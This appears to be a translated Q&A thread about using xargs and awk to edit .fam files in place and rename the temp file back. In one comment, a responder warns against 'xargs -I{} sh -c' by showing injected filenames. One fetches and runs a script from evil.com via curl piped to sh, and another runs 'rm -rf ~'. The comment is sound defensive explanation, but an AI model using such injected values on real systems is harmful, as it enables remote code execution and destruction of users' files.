【发布时间】:2021-11-28 19:40:33
【问题描述】:
我正在使用 xargs 来更改文件。我希望该命令将创建的 tmp 文件重命名回原始输入文件名。如何访问 xargs 的 {} 中保存的字符串?
xargs - I {} COMMAND HERE {} > tmp && mv tmp {}
我正在尝试调整命令:
awk '{gsub("1","0",$6)}1' file.fam | awk '{gsub("2","1",$6)}1'> tmp && mv tmp file.fam
要对文件夹中所有扩展名为 .fam 的文件执行操作:
ls | grep ".fam" | xargs -I {} awk '{gsub("1","0",$6)}1' {} | awk '{gsub("2","1",$6)}1'> tmp && mv temp {}
【问题讨论】:
-
显示你的实际命令——细节很重要。也就是说,总的来说,
-I{}完全是个坏主意,最好避免。如果您编写命令以从 xargs 获取位置参数,则不需要它,并且这样的安全风险要少得多。 -
解释一下我所说的“安全暴露”——例如,如果你运行
find /tmp -name '*.deleteme' | xargs -I{} sh -c 'rm {}',那么创建一个名为/tmp/$(curl http://evil.com/rootme.sh | sh).deleteme的文件的人会让你有一个非常非常糟糕的一天。是的,这是一个完全有效的文件名。在{}周围添加引号也不能解决问题;想想/tmp/$(rm -rf ~)'$(rm -rf ~)'.deleteme——它适用于任何类型的 shell 引用上下文(单引号、双引号、未引用、类似 C 的字符串引用)。 -
也,使用
xargs -I{}暗示-n 1;所以它不仅不安全,而且速度更慢,因为它需要为每个输入启动一个全新的子进程。 -
我已经添加了我的原始命令以及我尝试的命令@CharlesDuffy。我不确定什么是职位协议……对不起>_
-
(另见ParsingLs)